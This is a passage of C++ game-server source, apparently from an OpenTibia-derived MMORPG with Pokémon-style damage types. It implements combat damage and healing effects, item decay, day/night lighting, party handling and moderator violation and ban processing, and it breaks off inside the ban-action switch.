    void Game::changeSpeed(Creature* creature, int32_t varSpeedDelta)
    {
        int32_t varSpeed = creature->getSpeed() - creature->getBaseSpeed();
        varSpeed += varSpeedDelta;
        creature->setSpeed(varSpeed);

        const SpectatorVec& list = getSpectators(creature->getPosition());
        SpectatorVec::const_iterator it;

        //send to client
        Player* tmpPlayer = NULL;
        for(it = list.begin(); it != list.end(); ++it)
        {
            if((tmpPlayer = (*it)->getPlayer()))
                tmpPlayer->sendChangeSpeed(creature, creature->getStepSpeed());
        }
    }

    void Game::internalCreatureChangeOutfit(Creature* creature, const Outfit_t& outfit, bool forced/* = false*/)
    {
        if(!forced)
        {
            bool deny = false;
            CreatureEventList outfitEvents = creature->getCreatureEvents(CREATURE_EVENT_OUTFIT);
            for(CreatureEventList::iterator it = outfitEvents.begin(); it != outfitEvents.end(); ++it)
            {
                if(!(*it)->executeOutfit(creature, creature->getCurrentOutfit(), outfit) && !deny)
                    deny = true;
            }

            if(deny || creature->getCurrentOutfit() == outfit)
                return;
        }

        creature->setCurrentOutfit(outfit);
        const SpectatorVec& list = getSpectators(creature->getPosition());
        SpectatorVec::const_iterator it;

        //send to client
        Player* tmpPlayer = NULL;
        for(it = list.begin(); it != list.end(); ++it)
        {
            if((tmpPlayer = (*it)->getPlayer()))
                tmpPlayer->sendCreatureChangeOutfit(creature, outfit);
        }

        //event method
        for(it = list.begin(); it != list.end(); ++it)
            (*it)->onCreatureChangeOutfit(creature, outfit);
    }

    void Game::internalCreatureChangeVisible(Creature* creature, Visible_t visible)
    {
        const SpectatorVec& list = getSpectators(creature->getPosition());
        SpectatorVec::const_iterator it;

        //send to client
        Player* tmpPlayer = NULL;
        for(it = list.begin(); it != list.end(); ++it)
        {
            if((tmpPlayer = (*it)->getPlayer()))
                tmpPlayer->sendCreatureChangeVisible(creature, visible);
        }

        //event method
        for(it = list.begin(); it != list.end(); ++it)
            (*it)->onCreatureChangeVisible(creature, visible);
    }


    void Game::changeLight(const Creature* creature)
    {
        const SpectatorVec& list = getSpectators(creature->getPosition());

        //send to client
        Player* tmpPlayer = NULL;
        for(SpectatorVec::const_iterator it = list.begin(); it != list.end(); ++it)
        {
            if((tmpPlayer = (*it)->getPlayer()))
                tmpPlayer->sendCreatureLight(creature);
        }
    }

    bool Game::combatBlockHit(CombatType_t combatType, Creature* attacker, Creature* target,
        int32_t& healthChange, bool checkDefense, bool checkArmor)
    {
        if(healthChange > 0)
            return false;

        const Position& targetPos = target->getPosition();
        const SpectatorVec& list = getSpectators(targetPos);
        if(!target->isAttackable() || Combat::canDoCombat(attacker, target) != RET_NOERROR)
        {
            addMagicEffect(list, targetPos, MAGIC_EFFECT_POFF, target->isGhost());
            return true;
        }

        int32_t damage = -healthChange;
        BlockType_t blockType = target->blockHit(attacker, combatType, damage, checkDefense, checkArmor);

        healthChange = -damage;
        if(blockType == BLOCK_DEFENSE)
        {
            addMagicEffect(list, targetPos, MAGIC_EFFECT_POFF);
            return true;
        }
        else if(blockType == BLOCK_ARMOR)
        {
            addMagicEffect(list, targetPos, MAGIC_EFFECT_BLOCKHIT);
            return true;
        }
        else if(blockType != BLOCK_IMMUNITY)
            return false;

        MagicEffect_t effect = MAGIC_EFFECT_NONE;
        switch(combatType)
        {
            case COMBAT_UNDEFINEDDAMAGE:
                break;

            case COMBAT_ENERGYDAMAGE:
            case COMBAT_FIREDAMAGE:
            case COMBAT_PHYSICALDAMAGE:
            case COMBAT_ICEDAMAGE:
            case COMBAT_DEATHDAMAGE:
            case COMBAT_EARTHDAMAGE:
            case COMBAT_HOLYDAMAGE:
            case COMBAT_ELECTRICDAMAGE:
            case COMBAT_TESTDAMAGE:
            case COMBAT_FIGHTDAMAGE:
            case COMBAT_VENOMDAMAGE:
            case COMBAT_DRAGONDAMAGE:
            case COMBAT_BUGDAMAGE:
            case COMBAT_ROCKDAMAGE:
            case COMBAT_FLYDAMAGE:
            {
                effect = MAGIC_EFFECT_BLOCKHIT;
                break;
            }

            default:
            {
                effect = MAGIC_EFFECT_POFF;
                break;
            }
        }

        addMagicEffect(list, targetPos, effect);
        return true;
    }

    bool Game::combatChangeHealth(CombatType_t combatType, Creature* attacker, Creature* target, int32_t healthChange,
        MagicEffect_t hitEffect/* = MAGIC_EFFECT_UNKNOWN*/, TextColor_t hitColor/* = TEXTCOLOR_UNKNOWN*/, bool force/* = false*/)
    {
        const Position& targetPos = target->getPosition();
        if(healthChange > 0)
        {
            if(!force && target->getHealth() <= 0)
                return false;

            bool deny = false;
            CreatureEventList statsChangeEvents = target->getCreatureEvents(CREATURE_EVENT_STATSCHANGE);
            for(CreatureEventList::iterator it = statsChangeEvents.begin(); it != statsChangeEvents.end(); ++it)
            {
                if(!(*it)->executeStatsChange(target, attacker, STATSCHANGE_HEALTHGAIN, combatType, healthChange))
                    deny = true;
            }

            if(deny)
                return false;

            target->gainHealth(attacker, healthChange);
            if(g_config.getBool(ConfigManager::SHOW_HEALING_DAMAGE) && !target->isGhost() &&
                (g_config.getBool(ConfigManager::SHOW_HEALING_DAMAGE_MONSTER) || !target->getMonster()))
            {
                char buffer[20];
                sprintf(buffer, "+%d", healthChange);

                const SpectatorVec& list = getSpectators(targetPos);
                if(combatType != COMBAT_HEALING)
                    addMagicEffect(list, targetPos, MAGIC_EFFECT_WRAPS_BLUE);

                addAnimatedText(list, targetPos, TEXTCOLOR_GREEN, buffer);
            }
        }
        else
        {
            const SpectatorVec& list = getSpectators(targetPos);
            if(!target->isAttackable() || Combat::canDoCombat(attacker, target) != RET_NOERROR)
            {
                addMagicEffect(list, targetPos, MAGIC_EFFECT_POFF);
                return true;
            }

            int32_t damage = -healthChange;
            if(damage != 0)
            {
                if(target->hasCondition(CONDITION_MANASHIELD) && combatType != COMBAT_UNDEFINEDDAMAGE)
                {
                    int32_t manaDamage = std::min(target->getMana(), damage);
                    damage = std::max((int32_t)0, damage - manaDamage);
                    if(manaDamage != 0)
                    {
                        bool deny = false;
                        CreatureEventList statsChangeEvents = target->getCreatureEvents(CREATURE_EVENT_STATSCHANGE);
                        for(CreatureEventList::iterator it = statsChangeEvents.begin(); it != statsChangeEvents.end(); ++it)
                        {
                            if(!(*it)->executeStatsChange(target, attacker, STATSCHANGE_MANALOSS, combatType, manaDamage))
                                deny = true;
                        }

                        if(deny)
                            return false;

                        target->drainMana(attacker, combatType, manaDamage);
                        char buffer[20];
                        sprintf(buffer, "%d", manaDamage);

                        addMagicEffect(list, targetPos, MAGIC_EFFECT_LOSE_ENERGY);
                        addAnimatedText(list, targetPos, TEXTCOLOR_BLUE, buffer);
                    }
                }

                // damage = std::min(target->getHealth(), damage);
                if(damage > 0)
                {
                    bool deny = false;
                    CreatureEventList statsChangeEvents = target->getCreatureEvents(CREATURE_EVENT_STATSCHANGE);
                    for(CreatureEventList::iterator it = statsChangeEvents.begin(); it != statsChangeEvents.end(); ++it)
                    {
                        if(!(*it)->executeStatsChange(target, attacker, STATSCHANGE_HEALTHLOSS, combatType, damage))
                            deny = true;
                    }

                    if(deny)
                        return false;

                    target->drainHealth(attacker, combatType, damage);
                    addCreatureHealth(list, target);

                    TextColor_t textColor = TEXTCOLOR_NONE;
                    MagicEffect_t magicEffect = MAGIC_EFFECT_NONE;
                    switch(combatType)
                    {
                        case COMBAT_PHYSICALDAMAGE:
                        {
                            Item* splash = NULL;
                            switch(target->getRace())
                            {
                                case RACE_VENOM:
                                    textColor = TEXTCOLOR_LIGHTGREEN;
                                    magicEffect = MAGIC_EFFECT_POISON;
                                    splash = Item::CreateItem(ITEM_SMALLSPLASH, FLUID_GREEN);
                                    break;

                                case RACE_BLOOD:
                                    textColor = TEXTCOLOR_RED;
                                    magicEffect = MAGIC_EFFECT_DRAW_BLOOD;
                                    splash = Item::CreateItem(ITEM_SMALLSPLASH, FLUID_BLOOD);
                                    break;

                                case RACE_UNDEAD:
                                    textColor = TEXTCOLOR_GREY;
                                    magicEffect = MAGIC_EFFECT_HIT_AREA;
                                    break;

                                case RACE_FIRE:
                                    textColor = TEXTCOLOR_ORANGE;
                                    magicEffect = MAGIC_EFFECT_DRAW_BLOOD;
                                    break;

                                case RACE_ENERGY:
                                    textColor = TEXTCOLOR_PURPLE;
                                    magicEffect = MAGIC_EFFECT_PURPLEENERGY;
                                    break;
                                    
                                case RACE_WATER:
                                    textColor = TEXTCOLOR_WATER;
                                    magicEffect = MAGIC_EFFECT_DRAW_BLOOD;
                                    break;
                                    
                                case RACE_NORMAL:
                                    textColor = TEXTCOLOR_NORMAL;
                                    magicEffect = MAGIC_EFFECT_DRAW_BLOOD;
                                    break;
                                    
                                case RACE_FIRE2:
                                    textColor = TEXTCOLOR_FIRE2;
                                    magicEffect = MAGIC_EFFECT_DRAW_BLOOD;
                                    break;
                                    
                                case RACE_FIGHTING:
                                    textColor = TEXTCOLOR_FIGHTING;
                                    magicEffect = MAGIC_EFFECT_DRAW_BLOOD;
                                    break;
                                    
                                case RACE_FLYING:
                                    textColor = TEXTCOLOR_FLYING;
                                    magicEffect = MAGIC_EFFECT_DRAW_BLOOD;
                                    break;
                                    
                                case RACE_GRASS:
                                    textColor = TEXTCOLOR_GRASS;
                                    magicEffect = MAGIC_EFFECT_DRAW_BLOOD;
                                    break;
                                    
                                case RACE_POISON:
                                    textColor = TEXTCOLOR_POISON;
                                    magicEffect = MAGIC_EFFECT_DRAW_BLOOD;
                                    break;
                                    
                                case RACE_ELECTRIC:
                                    textColor = TEXTCOLOR_ELECTRIC;
                                    magicEffect = MAGIC_EFFECT_DRAW_BLOOD;
                                    break;
                                    
                                case RACE_GROUND:
                                    textColor = TEXTCOLOR_GROUND;
                                    magicEffect = MAGIC_EFFECT_DRAW_BLOOD;
                                    break;
                                    
                                case RACE_PSYCHIC:
                                    textColor = TEXTCOLOR_PSYCHIC;
                                    magicEffect = MAGIC_EFFECT_DRAW_BLOOD;
                                    break;
                                    
                                case RACE_ROCK:
                                    textColor = TEXTCOLOR_ROCK;
                                    magicEffect = MAGIC_EFFECT_DRAW_BLOOD;
                                    break;
                                    
                                case RACE_ICE:
                                    textColor = TEXTCOLOR_ICE;
                                    magicEffect = MAGIC_EFFECT_DRAW_BLOOD;
                                    break;
                                    
                                case RACE_BUG:
                                    textColor = TEXTCOLOR_BUG;
                                    magicEffect = MAGIC_EFFECT_DRAW_BLOOD;
                                    break;
                                    
                                case RACE_DRAGON:
                                    textColor = TEXTCOLOR_DRAGON;
                                    magicEffect = MAGIC_EFFECT_DRAW_BLOOD;
                                    break;
                                    
                                case RACE_GHOST:
                                    textColor = TEXTCOLOR_GHOST;
                                    magicEffect = MAGIC_EFFECT_DRAW_BLOOD;
                                    break;

                                default:
                                    break;
                            }

                            if(splash)
                            {
                                internalAddItem(NULL, target->getTile(), splash, INDEX_WHEREEVER, FLAG_NOLIMIT);
                                startDecay(splash);
                            }
                            break;
                        }

                        case COMBAT_ENERGYDAMAGE:
                        {
                            textColor = TEXTCOLOR_PSYCHIC;
                            magicEffect = MAGIC_EFFECT_DRAW_BLOOD;
                            break;
                        }
                        
                        case COMBAT_ELECTRICDAMAGE:
                        {
                            textColor = TEXTCOLOR_ELECTRIC;
                            magicEffect = MAGIC_EFFECT_DRAW_BLOOD;
                            break;
                        }
                        
                        case COMBAT_ROCKDAMAGE:
                        {
                            textColor = TEXTCOLOR_ROCK;
                            magicEffect = MAGIC_EFFECT_DRAW_BLOOD;
                            break;
                        }
                        
                        case COMBAT_BUGDAMAGE:
                        {
                            textColor = TEXTCOLOR_BUG;
                            magicEffect = MAGIC_EFFECT_DRAW_BLOOD;
                            break;
                        }
                        
                        case COMBAT_FLYDAMAGE:
                        {
                            textColor = TEXTCOLOR_FLYING;
                            magicEffect = MAGIC_EFFECT_DRAW_BLOOD;
                            break;
                        }
                        
                        case COMBAT_VENOMDAMAGE:
                        {
                            textColor = TEXTCOLOR_POISON;
                            magicEffect = MAGIC_EFFECT_DRAW_BLOOD;
                            break;
                        }
                        
                        case COMBAT_DRAGONDAMAGE:
                        {
                            textColor = TEXTCOLOR_DRAGON;
                            magicEffect = MAGIC_EFFECT_DRAW_BLOOD;
                            break;
                        }
                        
                        case COMBAT_FIGHTDAMAGE:
                        {
                            textColor = TEXTCOLOR_FIGHTING;
                            magicEffect = MAGIC_EFFECT_DRAW_BLOOD;
                            break;
                        }

                        case COMBAT_EARTHDAMAGE:
                        {
                            textColor = TEXTCOLOR_LIGHTGREEN;
                            magicEffect = MAGIC_EFFECT_DRAW_BLOOD;
                            break;
                        }

                        case COMBAT_DROWNDAMAGE:
                        {
                            textColor = TEXTCOLOR_WATER;
                            magicEffect = MAGIC_EFFECT_DRAW_BLOOD;
                            break;
                        }

                        case COMBAT_FIREDAMAGE:
                        {
                            textColor = TEXTCOLOR_RED;
                            magicEffect = MAGIC_EFFECT_DRAW_BLOOD;
                            break;
                        }

                        case COMBAT_ICEDAMAGE:
                        {
                            textColor = TEXTCOLOR_ICE;
                            magicEffect = MAGIC_EFFECT_DRAW_BLOOD;
                            break;
                        }

                        case COMBAT_HOLYDAMAGE:
                        {
                            textColor = TEXTCOLOR_NORMAL;
                            magicEffect = MAGIC_EFFECT_DRAW_BLOOD;
                            break;
                        }

                        case COMBAT_DEATHDAMAGE:
                        {
                            textColor = TEXTCOLOR_GHOST;
                            magicEffect = MAGIC_EFFECT_DRAW_BLOOD;
                            break;
                        }

                        case COMBAT_LIFEDRAIN:
                        {
                            textColor = TEXTCOLOR_RED;
                            magicEffect = MAGIC_EFFECT_WRAPS_RED;
                            break;
                        }
                        
                        
                        case COMBAT_TESTDAMAGE:
                        {
                            textColor = TEXTCOLOR_GROUND;
                            magicEffect = MAGIC_EFFECT_DRAW_BLOOD;
                            break;
                        }

                        default:
                            break;
                    }

                    if(hitEffect != MAGIC_EFFECT_UNKNOWN)
                        magicEffect = hitEffect;

                    if(hitColor != TEXTCOLOR_UNKNOWN)
                        textColor = hitColor;

                    if(textColor < TEXTCOLOR_NONE && magicEffect < MAGIC_EFFECT_NONE)
                    {
                        char buffer[20];
                        sprintf(buffer, "%d", damage);

                        addMagicEffect(list, targetPos, magicEffect);
                        addAnimatedText(list, targetPos, textColor, buffer);
                    }
                }
            }
        }

        return true;
    }

    bool Game::combatChangeMana(Creature* attacker, Creature* target, int32_t manaChange)
    {
        const Position& targetPos = target->getPosition();
        if(manaChange > 0)
        {
            bool deny = false;
            CreatureEventList statsChangeEvents = target->getCreatureEvents(CREATURE_EVENT_STATSCHANGE);
            for(CreatureEventList::iterator it = statsChangeEvents.begin(); it != statsChangeEvents.end(); ++it)
            {
                if(!(*it)->executeStatsChange(target, attacker, STATSCHANGE_MANAGAIN, COMBAT_HEALING, manaChange))
                    deny = true;
            }

            if(deny)
                return false;

            target->changeMana(manaChange);
            if(g_config.getBool(ConfigManager::SHOW_HEALING_DAMAGE) && !target->isGhost() &&
                (g_config.getBool(ConfigManager::SHOW_HEALING_DAMAGE_MONSTER) || !target->getMonster()))
            {
                char buffer[20];
                sprintf(buffer, "+%d", manaChange);

                const SpectatorVec& list = getSpectators(targetPos);
                addAnimatedText(list, targetPos, TEXTCOLOR_DARKPURPLE, buffer);
            }
        }
        else
        {
            const SpectatorVec& list = getSpectators(targetPos);
            if(!target->isAttackable() || Combat::canDoCombat(attacker, target) != RET_NOERROR)
            {
                addMagicEffect(list, targetPos, MAGIC_EFFECT_POFF);
                return false;
            }

            int32_t manaLoss = std::min(target->getMana(), -manaChange);
            BlockType_t blockType = target->blockHit(attacker, COMBAT_MANADRAIN, manaLoss);
            if(blockType != BLOCK_NONE)
            {
                addMagicEffect(list, targetPos, MAGIC_EFFECT_POFF);
                return false;
            }

            if(manaLoss > 0)
            {
                bool deny = false;
                CreatureEventList statsChangeEvents = target->getCreatureEvents(CREATURE_EVENT_STATSCHANGE);
                for(CreatureEventList::iterator it = statsChangeEvents.begin(); it != statsChangeEvents.end(); ++it)
                {
                    if(!(*it)->executeStatsChange(target, attacker, STATSCHANGE_MANALOSS, COMBAT_UNDEFINEDDAMAGE, manaChange))
                        deny = true;
                }

                if(deny)
                    return false;

                target->drainMana(attacker, COMBAT_MANADRAIN, manaLoss);
                char buffer[20];
                sprintf(buffer, "%d", manaLoss);

            }
        }

        return true;
    }

    void Game::addCreatureHealth(const Creature* target)
    {
        const SpectatorVec& list = getSpectators(target->getPosition());
        addCreatureHealth(list, target);
    }

    void Game::addCreatureHealth(const SpectatorVec& list, const Creature* target)
    {
        Player* player = NULL;
        for(SpectatorVec::const_iterator it = list.begin(); it != list.end(); ++it)
        {
            if((player = (*it)->getPlayer()))
                player->sendCreatureHealth(target);
        }
    }

    void Game::addAnimatedText(const Position& pos, uint8_t textColor,
        const std::string& text)
    {
        const SpectatorVec& list = getSpectators(pos);
        addAnimatedText(list, pos, textColor, text);
    }

    void Game::addAnimatedText(const SpectatorVec& list, const Position& pos, uint8_t textColor,
        const std::string& text)
    {
        Player* player = NULL;
        for(SpectatorVec::const_iterator it = list.begin(); it != list.end(); ++it)
        {
            if((player = (*it)->getPlayer()))
                player->sendAnimatedText(pos, textColor, text);
        }
    }

    void Game::addMagicEffect(const Position& pos, uint8_t effect, bool ghostMode /* = false */)
    {
        if(ghostMode)
            return;

        const SpectatorVec& list = getSpectators(pos);
        addMagicEffect(list, pos, effect);
    }

    void Game::addMagicEffect(const SpectatorVec& list, const Position& pos, uint8_t effect, bool ghostMode/* = false*/)
    {
        if(ghostMode)
            return;

        Player* player = NULL;
        for(SpectatorVec::const_iterator it = list.begin(); it != list.end(); ++it)
        {
            if((player = (*it)->getPlayer()))
                player->sendMagicEffect(pos, effect);
        }
    }

    void Game::addDistanceEffect(const Position& fromPos, const Position& toPos, uint8_t effect)
    {
        SpectatorVec list;
        getSpectators(list, fromPos, false);
        getSpectators(list, toPos, true);
        addDistanceEffect(list, fromPos, toPos, effect);
    }

    void Game::addDistanceEffect(const SpectatorVec& list, const Position& fromPos, const Position& toPos, uint8_t effect)
    {
        Player* player = NULL;
        for(SpectatorVec::const_iterator it = list.begin(); it != list.end(); ++it)
        {
            if((player = (*it)->getPlayer()))
                player->sendDistanceShoot(fromPos, toPos, effect);
        }
    }

    void Game::startDecay(Item* item)
    {
        if(!item || !item->canDecay() || item->getDecaying() == DECAYING_TRUE)
            return;

        if(item->getDuration() > 0)
        {
            item->addRef();
            item->setDecaying(DECAYING_TRUE);
            toDecayItems.push_back(item);
        }
        else
            internalDecayItem(item);
    }

    void Game::internalDecayItem(Item* item)
    {
        const ItemType& it = Item::items.getItemType(item->getID());
        if(it.decayTo)
        {
            Item* newItem = transformItem(item, it.decayTo);
            startDecay(newItem);
        }
        else
        {
            ReturnValue ret = internalRemoveItem(NULL, item);
            if(ret != RET_NOERROR)
                std::cout << "> DEBUG: internalDecayItem failed, error code: " << (int32_t)ret << ", item id: " << item->getID() << std::endl;
        }
    }

    void Game::checkDecay()
    {
        Scheduler::getInstance().addEvent(createSchedulerTask(EVENT_DECAYINTERVAL,
            boost::bind(&Game::checkDecay, this)));

        size_t bucket = (lastBucket + 1) % EVENT_DECAYBUCKETS;
        for(DecayList::iterator it = decayItems[bucket].begin(); it != decayItems[bucket].end();)
        {
            Item* item = *it;
            int32_t decreaseTime = EVENT_DECAYINTERVAL * EVENT_DECAYBUCKETS;
            if(item->getDuration() - decreaseTime < 0)
                decreaseTime = item->getDuration();

            item->decreaseDuration(decreaseTime);
            if(!item->canDecay())
            {
                item->setDecaying(DECAYING_FALSE);
                freeThing(item);
                it = decayItems[bucket].erase(it);
                continue;
            }

            int32_t dur = item->getDuration();
            if(dur <= 0)
            {
                it = decayItems[bucket].erase(it);
                internalDecayItem(item);
                freeThing(item);
            }
            else if(dur < EVENT_DECAYINTERVAL * EVENT_DECAYBUCKETS)
            {
                it = decayItems[bucket].erase(it);
                size_t newBucket = (bucket + ((dur + EVENT_DECAYINTERVAL / 2) / 1000)) % EVENT_DECAYBUCKETS;
                if(newBucket == bucket)
                {
                    internalDecayItem(item);
                    freeThing(item);
                }
                else
                    decayItems[newBucket].push_back(item);
            }
            else
                ++it;
        }

        lastBucket = bucket;
        cleanup();
    }

    void Game::checkLight()
    {
        Scheduler::getInstance().addEvent(createSchedulerTask(EVENT_LIGHTINTERVAL,
            boost::bind(&Game::checkLight, this)));

        lightHour = lightHour + lightHourDelta;
        if(lightHour > 1440)
            lightHour = lightHour - 1440;

        if(std::abs(lightHour - SUNRISE) < 2 * lightHourDelta)
            lightState = LIGHT_STATE_SUNRISE;
        else if(std::abs(lightHour - SUNSET) < 2 * lightHourDelta)
            lightState = LIGHT_STATE_SUNSET;

        int32_t newLightLevel = lightLevel;
        bool lightChange = false;
        switch(lightState)
        {
            case LIGHT_STATE_SUNRISE:
            {
                newLightLevel += (LIGHT_LEVEL_DAY - LIGHT_LEVEL_NIGHT) / 30;
                lightChange = true;
                break;
            }
            case LIGHT_STATE_SUNSET:
            {
                newLightLevel -= (LIGHT_LEVEL_DAY - LIGHT_LEVEL_NIGHT) / 30;
                lightChange = true;
                break;
            }
            default:
                break;
        }

        if(newLightLevel <= LIGHT_LEVEL_NIGHT)
        {
            lightLevel = LIGHT_LEVEL_NIGHT;
            lightState = LIGHT_STATE_NIGHT;
        }
        else if(newLightLevel >= LIGHT_LEVEL_DAY)
        {
            lightLevel = LIGHT_LEVEL_DAY;
            lightState = LIGHT_STATE_DAY;
        }
        else
            lightLevel = newLightLevel;

        if(lightChange)
        {
            LightInfo lightInfo;
            getWorldLightInfo(lightInfo);
            for(AutoList<Player>::iterator it = Player::autoList.begin(); it != Player::autoList.end(); ++it)
                it->second->sendWorldLight(lightInfo);
        }
    }

    void Game::getWorldLightInfo(LightInfo& lightInfo)
    {
        lightInfo.level = lightLevel;
        lightInfo.color = 0xD7;
    }

    bool Game::cancelRuleViolation(Player* player)
    {
        RuleViolationsMap::iterator it = ruleViolations.find(player->getID());
        if(it == ruleViolations.end())
            return false;

        Player* gamemaster = it->second->gamemaster;
        if(!it->second->isOpen && gamemaster) //Send to the responser
            gamemaster->sendRuleViolationCancel(player->getName());
        else if(ChatChannel* channel = g_chat.getChannelById(CHANNEL_RVR))
        {
            UsersMap tmpMap = channel->getUsers();
            for(UsersMap::iterator tit = tmpMap.begin(); tit != tmpMap.end(); ++tit)
                tit->second->sendRemoveReport(player->getName());
        }

        //Now erase it
        ruleViolations.erase(it);
        return true;
    }

    bool Game::closeRuleViolation(Player* player)
    {
        RuleViolationsMap::iterator it = ruleViolations.find(player->getID());
        if(it == ruleViolations.end())
            return false;

        ruleViolations.erase(it);
        player->sendLockRuleViolation();
        if(ChatChannel* channel = g_chat.getChannelById(CHANNEL_RVR))
        {
            UsersMap tmpMap = channel->getUsers();
            for(UsersMap::iterator tit = tmpMap.begin(); tit != tmpMap.end(); ++tit)
                tit->second->sendRemoveReport(player->getName());
        }

        return true;
    }

    void Game::updateCreatureSkull(Creature* creature)
    {
        const SpectatorVec& list = getSpectators(creature->getPosition());

        //send to client
        Player* tmpPlayer = NULL;
        for(SpectatorVec::const_iterator it = list.begin(); it != list.end(); ++it)
        {
             if((tmpPlayer = (*it)->getPlayer()))
                tmpPlayer->sendCreatureSkull(creature);
        }
    }

    bool Game::playerInviteToParty(uint32_t playerId, uint32_t invitedId)
    {
        Player* player = getPlayerByID(playerId);
        if(!player || player->isRemoved())
            return false;

        Player* invitedPlayer = getPlayerByID(invitedId);
        if(!invitedPlayer || invitedPlayer->isRemoved() || invitedPlayer->isInviting(player))
            return false;

        if(invitedPlayer->getParty())
        {
            char buffer[90];
            sprintf(buffer, "%s is already in a party.", invitedPlayer->getName().c_str());
            player->sendTextMessage(MSG_INFO_DESCR, buffer);
            return false;
        }

        Party* party = player->getParty();
        if(!party)
            party = new Party(player);
        else if(party->getLeader() != player)
            return false;

        return party->invitePlayer(invitedPlayer);
    }

    bool Game::playerJoinParty(uint32_t playerId, uint32_t leaderId)
    {
        Player* player = getPlayerByID(playerId);
        if(!player || player->isRemoved())
            return false;

        Player* leader = getPlayerByID(leaderId);
        if(!leader || leader->isRemoved() || !leader->isInviting(player))
            return false;

        if(!player->getParty())
            return leader->getParty()->join(player);

        player->sendTextMessage(MSG_INFO_DESCR, "You are already in a party.");
        return false;
    }

    bool Game::playerRevokePartyInvitation(uint32_t playerId, uint32_t invitedId)
    {
        Player* player = getPlayerByID(playerId);
        if(!player || player->isRemoved() || !player->getParty() || player->getParty()->getLeader() != player)
            return false;

        Player* invitedPlayer = getPlayerByID(invitedId);
        if(!invitedPlayer || invitedPlayer->isRemoved() || !player->isInviting(invitedPlayer))
            return false;

        player->getParty()->revokeInvitation(invitedPlayer);
        return true;
    }

    bool Game::playerPassPartyLeadership(uint32_t playerId, uint32_t newLeaderId)
    {
        Player* player = getPlayerByID(playerId);
        if(!player || player->isRemoved() || !player->getParty() || player->getParty()->getLeader() != player)
            return false;

        Player* newLeader = getPlayerByID(newLeaderId);
        if(!newLeader || newLeader->isRemoved() || !player->isPartner(newLeader))
            return false;

        return player->getParty()->passLeadership(newLeader);
    }

    bool Game::playerLeaveParty(uint32_t playerId)
    {
        Player* player = getPlayerByID(playerId);
        if(!player || player->isRemoved())
            return false;

        if(!player->getParty() || player->hasCondition(CONDITION_INFIGHT))
            return false;

        return player->getParty()->leave(player);
    }

    bool Game::playerSharePartyExperience(uint32_t playerId, bool activate, uint8_t unknown)
    {
        Player* player = getPlayerByID(playerId);
        if(!player || player->isRemoved())
            return false;

        if(!player->getParty() || (!player->hasFlag(PlayerFlag_NotGainInFight)
            && player->hasCondition(CONDITION_INFIGHT)))
            return false;

        return player->getParty()->setSharedExperience(player, activate);
    }

    bool Game::playerReportBug(uint32_t playerId, std::string comment)
    {
        Player* player = getPlayerByID(playerId);
        if(!player || player->isRemoved())
            return false;

        if(!player->hasFlag(PlayerFlag_CanReportBugs))
            return false;

        CreatureEventList reportBugEvents = player->getCreatureEvents(CREATURE_EVENT_REPORTBUG);
        for(CreatureEventList::iterator it = reportBugEvents.begin(); it != reportBugEvents.end(); ++it)
            (*it)->executeReportBug(player, comment);

        return true;
    }

    bool Game::playerViolationWindow(uint32_t playerId, std::string name, uint8_t reason, ViolationAction_t action,
        std::string comment, std::string statement, uint32_t statementId, bool ipBanishment)
    {
        Player* player = getPlayerByID(playerId);
        if(!player || player->isRemoved())
            return false;

        Group* group = player->getGroup();
        if(!group)
            return false;

        time_t length[3] = {0, 0, 0};
        int32_t pos = 0, start = comment.find("{");
        while((start = comment.find("{")) > 0 && pos < 4)
        {
            std::string::size_type end = comment.find("}", start);
            if(end == std::string::npos)
                break;

            std::string data = comment.substr(start + 1, end - 1);
            comment = comment.substr(end + 1);

            ++pos;
            if(data.empty())
                continue;

            if(data == "delete")
            {
                action = ACTION_DELETION;
                continue;
            }

            time_t banTime = time(NULL);
            StringVec vec = explodeString(";", data);
            for(StringVec::iterator it = vec.begin(); it != vec.end(); ++it)
            {
                StringVec tmp = explodeString(",", *it);
                uint32_t count = 1;
                if(tmp.size() > 1)
                {
                    count = atoi(tmp[1].c_str());
                    if(!count)
                        count = 1;
                }

                if(tmp[0][0] == 's')
                    banTime += count;
                if(tmp[0][0] == 'm')
                    banTime += count * 60;
                if(tmp[0][0] == 'h')
                    banTime += count * 3600;
                if(tmp[0][0] == 'd')
                    banTime += count * 86400;
                if(tmp[0][0] == 'w')
                    banTime += count * 604800;
                if(tmp[0][0] == 'm')
                    banTime += count * 2592000;
                if(tmp[0][0] == 'y')
                    banTime += count * 31536000;
            }

            if(action == ACTION_DELETION)
                length[pos - 2] = banTime;
            else
                length[pos - 1] = banTime;
        }

        int16_t nameFlags = group->getNameViolationFlags(), statementFlags = group->getStatementViolationFlags();
        if((ipBanishment && ((nameFlags & IPBAN_FLAG) != IPBAN_FLAG || (statementFlags & IPBAN_FLAG) != IPBAN_FLAG)) ||
            !(nameFlags & (1 << action) || statementFlags & (1 << action)) || reason > group->getViolationReasons())
        {
            player->sendCancel("You do not have authorization for this action.");
            return false;
        }

        uint32_t commentSize = g_config.getNumber(ConfigManager::MAX_VIOLATIONCOMMENT_SIZE);
        if(comment.size() > commentSize)
        {
            char buffer[90];
            sprintf(buffer, "The comment may not exceed limit of %d characters.", commentSize);

            player->sendCancel(buffer);
            return false;
        }

        toLowerCaseString(name);
        Player* target = getPlayerByNameEx(name);
        if(!target || name == "account manager")
        {
            player->sendCancel("A player with this name does not exist.");
            return false;
        }

        if(target->hasFlag(PlayerFlag_CannotBeBanned))
        {
            player->sendCancel("You do not have authorization for this action.");
            return false;
        }

        Account account = IOLoginData::getInstance()->loadAccount(target->getAccount(), true);
        enum KickAction {
            NONE = 1,
            KICK = 2,
            FULL_KICK = 3,
        } kickAction = FULL_KICK;

        pos = 1;
        switch(action)
        {
            case ACTION_STATEMENT:
            {
                StatementMap::iterator it = g_chat.statementMap.find(statementId);
                if(it == g_chat.statementMap.end())
                {
                    player->sendCancel("Statement has been already reported.");
                    return false;
                }

                IOBan::getInstance()->addStatement(target->getGUID(), reason, comment,
                    player->getGUID(), -1, statement);
                g_chat.statementMap.erase(it);

                kickAction = NONE;
                break;
            }

            case ACTION_NAMEREPORT:
            {
                int64_t banTime = -1;
                PlayerBan_t tmp = (PlayerBan_t)g_config.getNumber(ConfigManager::NAME_REPORT_TYPE);
                if(tmp == PLAYERBAN_BANISHMENT)
                {
                    if(!length[0])
                        banTime = time(NULL) + g_config.getNumber(ConfigManager::BAN_LENGTH);
                    else
                        banTime = length[0];
                }

                if(!IOBan::getInstance()->addPlayerBanishment(target->getGUID(), banTime, reason, action,
                    comment, player->getGUID(), tmp))
                {
                    player->sendCancel("Player has been already reported.");
                    return false;
                }
                else if(tmp == PLAYERBAN_BANISHMENT)
                    account.warnings++;

                kickAction = (KickAction)tmp;
                break;
            }

